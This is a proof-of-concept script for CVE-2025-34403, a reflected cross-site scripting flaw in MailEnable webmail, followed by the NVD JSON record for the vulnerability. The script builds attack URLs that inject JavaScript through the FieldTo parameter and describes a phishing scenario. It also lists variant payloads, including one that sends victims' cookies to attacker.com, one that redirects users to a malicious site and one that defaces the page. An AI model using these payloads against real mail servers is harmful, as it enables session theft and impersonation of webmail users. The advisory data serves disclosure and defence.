CVE-2025-34403

// CVE-2025-34403 PoC - MailEnable Reflected XSS in FieldTo parameter // Target: /Mondo/lang/sys/Forms/AddressBook.aspx // Payload terminates Finish() function and executes attacker JavaScript const targetUrl = 'http://<target>/Mondo/lang/sys/Forms/AddressBook.aspx'; const maliciousPayload = '1;}});alert(document.domain);function%20Finish(){//'; const pocUrl = `${targetUrl}?FieldTo=${encodeURIComponent(maliciousPayload)}`; console.log('[+] CVE-2025-34403 PoC Generator'); console.log('[+] Target:', targetUrl); console.log('[+] Malicious URL:', pocUrl); console.log('[+] Payload will terminate Finish() and execute alert(document.domain)'); console.log('\n[*] Attack Scenario:'); console.log('1. Attacker crafts malicious URL with XSS payload in FieldTo parameter'); console.log('2. Attacker tricks victim into clicking the link (e.g., via phishing email)'); console.log('3. When victim attempts to send email, the injected JavaScript executes'); console.log('4. Attacker can steal cookies, redirect user, or perform actions as victim'); // Example attack payload variants: const attackPayloads = [ '1;}});fetch("https://attacker.com/steal?c="+document.cookie);function%20Finish(){//', '1;}});window.location="https://malicious-site.com";function%20Finish(){//', '1;}});document.body.innerHTML="<h1>Pwned</h1>";function%20Finish(){//' ]; console.log('\n[*] Additional Attack Payloads:'); attackPayloads.forEach((p, i) => { console.log(`${i+1}. ${targetUrl}?FieldTo=${encodeURIComponent(p)}`); });

{"cve": {"id": "CVE-2025-34403", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:50.820", "lastModified": "2025-12-09T21:34:24.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the FieldTo parameter of /Mondo/lang/sys/Forms/AddressBook.aspx. The FieldTo value is not properly sanitized when processed via a GET request and is reflected inside a <script> block in the JavaScript variable var fieldTo. By supplying a crafted payload that terminates the existing Finish() function, inserts attacker-controlled script, and comments out remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim attempts to send an email. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-fieldto-parameter-of-addressbook-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}